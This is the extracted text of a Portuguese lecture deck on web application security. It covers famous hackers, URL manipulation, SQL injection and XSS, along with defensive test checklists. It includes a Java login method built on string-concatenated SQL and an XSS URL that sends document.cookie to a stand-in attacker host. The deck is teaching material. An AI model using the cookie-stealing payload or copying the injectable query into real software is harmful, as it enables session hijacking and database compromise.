Você está na página 1de 42

Ricardo Terra

rterrabh@gmail.com
Ricardo Terra
Bacharel em Ciência da Computação – FUMEC
Pós-graduado em Análise de Sistemas – UFMG
Mestre em Informática – PUC Minas
Doutorando em Ciência da Computação – UFMG

Especializado em Java
SCJP
SCWCD

Professor
FUMEC
FAMINAS-BH
UNIPAC-CONTAGEM

Segurança da Internet 2
Segurança de Redes (Histórico)
Robert Tappan Morris
Primeiro worm (similar a um vírus, porém é um programa
completo, não precisa de um outro programa para se
propagar) da Internet
O programa principal consistia em menos de 100 linhas de
código em C
6.000 computadores infectados, só nos EUA, em 24 horas
Efeitos:
Infecção
Sobrecarga
Incapacitação
Atualmente
professor do MIT

Segurança da Internet 3
Segurança de Redes (Histórico)
Kevin Poulsen
primeiro grande hacker da Internet
Invadiu, entre outros,
a marinha americana
diversas Universidades, como UCLA
rádio americana KIIS-FM, 102º ligador e ganhava um
Porche 944 S2
A partir daí, criou-se a lei americana contra “invasões” em
redes
Trabalhou posteriormente
para o governo americano
Foi jornalista da SecurityFocus
e atualmente é editor sênior
da Wired News
Segurança da Internet 4
Segurança de Redes (Histórico)
Kevin Mitnick
O mais famoso
Foi preso e já foi solto
Invadiu
FBI
Universidades, etc
Seu ataque foi muito sofisticado e sem
“solução” até os dias
atuais
Utilizava práticas de
engenharia social
Atualmente proprietário
da Mitnick Security
Consulting
Segurança da Internet 5
Segurança de Redes (Histórico)
Mais sobre Kevin Mitnick
Dos 37 aos 40 anos foi proibido de acessar qualquer meio
de comunicação com exceção de telefone fixo
Liberdade condicional

Sua empresa – Mitnick Security Consulting – foi invadida

Segurança da Internet 6
Teoria evolucionista de Darwin

Segurança da Internet 7
O que é?

Segurança da Internet 8
Quem geralmente é?

Segurança da Internet 9
Ataque às pessoas...

Segurança da Internet 10
Ataque às empresas...

Segurança da Internet 11
Os hackers...

Segurança da Internet 12
Atualmente nas grandes áreas
Database Security

Segurança da Internet 13
Atualmente nas grandes áreas
Network Security

Segurança da Internet 14
Atualmente nas grandes áreas
Application Security

Segurança da Internet 15
Atualmente nas grandes áreas
Web application Security

Segurança da Internet 16
Começando...

Segurança da Internet 17
Introdução
Os ataques a serviços de rede estão se tornando muito
sofisticados
criatividade humana

Mas o que falta?


APLICAÇÕES! Mas será que é possível?

Atualmente a maioria dos BUG’s reportados estão em


aplicações
Application Security Network Security

Quem provê acesso aos dados? As aplicações!

Segurança da Internet 18
Lendas
Não há problemas de segurança
Até que ela seja violada

Erros de runtime (tempo de execução) não são problemas


Expõem informações altamente relevantes
Consumem recurso do servidor
Deve ser tratados

Web Services não são vulneráveis


Quase nunca testados e raramente a segurança é
considerada

Solução
Testes de penetração. São caros!!!
Segurança da Internet 19
Objetivos
Demonstrar alguns desses ataques

Pois, para nos protegermos temos de entender as táticas e as


armas de nosso inimigo

Além disso, temos que ter nossas armas para nos defender

Segurança da Internet 20
Ataques
URL Manipulation

SQL Injection

XSS Cross Site Scripting

E o HTTPS? Se utilizarmos, nossa aplicação é segura?!

Segurança da Internet 21
Arquitetura TCP/IP

Segurança da Internet 22
URL Manipulation
O método GET do Protocolo HTTP requisita informações
importantes na URL
Portanto, os parâmetros podem ser manipulados para se
obter resultados satisfatórios ou, no mínimo, "interessantes"

O impacto é ALTO

Vamos ver um exemplo didádico e procurar alguma brecha


dessas na Internet
Não necessariamente uma brecha seja uma vulnerabilidade

Segurança da Internet 23
URL Manipulation

Segurança da Internet 24
URL Manipulation

Segurança da Internet 25
URL Manipulation
Alguns possíveis testes:
Verificar se algum parâmetro é passado via HTTP GET

Verificar se os dados sensíveis armazenados no cookie


estão encriptados

Verificar que dados sensíveis não são armazenados no


cache

Verificar se os dados encriptados estão voltando


corretamente

Verificar que além dos parâmetros os campos também estão


sendo encriptados

Segurança da Internet 26
SQL Injection
A idéia é injetar um comando SQL ou algum comando como o
valor de entrada de algum campo de um formulário WEB

Todos os parâmetros passados são direcionados para o banco


de dados

O atacante pode manipular com as tabelas e dados diretamente

Segurança da Internet 27
SQL Injection
Causas:

public boolean onLogon(String user, String pw){


boolean result = false;
Connection conn = null;
try {
conn = ServiceLocator.getConnection();
Statement st = conn.createStatement();
ResultSet rs =
st.executeQuery("select 1 from USUARIO where NOME = '" + user
+ "' and pw = '" + pw + "'");
result = rs.next();
...
} catch (SQLException e) {
...
} finally {
...
}
return result;
}

Segurança da Internet 28
SQL Injection

Segurança da Internet 29
SQL Injection

Segurança da Internet 30
SQL Injection
Além disso, tem como:
Identificar campos de uma tabela
Verificar se a tabela existe
Procurar por usuários
Ataques de força bruta
Verificar permissões
Criar um usuário
Alterar dados
Determinar qual SGBD e a versão do SGBD
Interagir com o S.O.
Manipular informações da rede
Modificar o registro do Windows
Obter senha do VNC

Segurança da Internet 31
SQL Injection
Alguns testes:
Identifique os parâmetros, html e xml tags utilizados na
aplicação web
Substitua o conteúdo dos parâmetros por todos caracteres
utilizados em um ataque de injeção de SQL
Verifique que as queries foram substituídas por stored
procedures
Verificar se as mensagens de erro fornecem alguma
informação
Verifique que os usuários da aplicação web tem o menor
nível de acessibilidade possível no banco de dados
(continua...)

Segurança da Internet 32
SQL Injection
Verificar se todos os campos do formulário estão sendo
validados
Verificar se existe limite para uploads
Verificar que a aplicação não aceita: dados binários,
caracteres de comentário, etc
etc

Segurança da Internet 33
XSS Cross Site Scripting
É uma vulnerabilidade tipicamente encontrada em aplicações
web que permitem injeção de código por usuários maliciosos em
páginas vistas por outros usuários

Exemplos de tais códigos são código HTML e scripts executados


no lado do cliente (JavaScript, por exemplo)

Uma exploração comum é utilizar uma vulnerabilidade de


execução de scripts para ultrapassar a política de segurança

Segurança da Internet 34
XSS Cross Site Scripting
Não existe a ligação entre o ID do login e o ID da sessão

A sessão do usuário pode ser roubada


A ideia é obter de alguma forma o ID da sessão

Impacto é alto
Pois, o usuário malicioso tem TODOS os privilégios do
usuário autorizado

Segurança da Internet 35
XSS Cross Site Scripting

Segurança da Internet 36
XSS Cross Site Scripting
Um exemplo:
Pode se receber um e-mail com um link

O resultado é enviado para um site

http://www.mymail.com?search="<script>window.nav
igate("http://badsite.net/steal.asp?cookie="+doc
ument.cookie)</script>"

Segurança da Internet 37
XSS Cross Site Scripting
Solução:
Sempre valide a sessão com login e os parâmetros críticos
Como IP da máquina de origem e, até mesmo, o
endereço MAC da máquina do cliente

Alguns testes:
Verificar os posts disponíveis na aplicação
Verificar que as sessões são sempre verificadas
Verificar os cookies não provêem dados sensíveis
Verificar que não é possível executar outro script dentro da
aplicação

Segurança da Internet 38
Considerações Finais
Não há segurança de sistemas sem a conjunção de três fatores
Boas praticas de codificação
Metodologia adequada (projeto, arquitetura, etc)
Testes, testes e testes!!!

Segurança da Internet 39
Dúvidas?

Segurança da Internet 40
Obrigado!

Ricardo Terra
rterrabh@gmail.com

Apresentação e vídeo disponíveis em:


www.ricardoterra.com.br/pucsg

Principais referências bibliográficas:


ASSAD, Rodrigo. Testanto Segurança em aplicações WEB. Recife: III
Encontro Brasileiro de Testes de Software, 2008.
SILBERSCHATZ. A.; KORTH, H. F.; SUDARSHAN, S. Sistemas de
bancos de dados. Tradução de Daniel Vieira. Rio de Janeiro: Editora
Campus, 2006. Título original: Database system concepts. 5 ed.

Segurança da Internet 41
Outras referências bibliográficas
http://en.wikipedia.org/wiki/Robert_Tappan_Morris.

http://en.wikipedia.org/wiki/Kevin_Poulsen

http://en.wikipedia.org/wiki/Kevin_Mitnick

Segurança da Internet 42

Você também pode gostar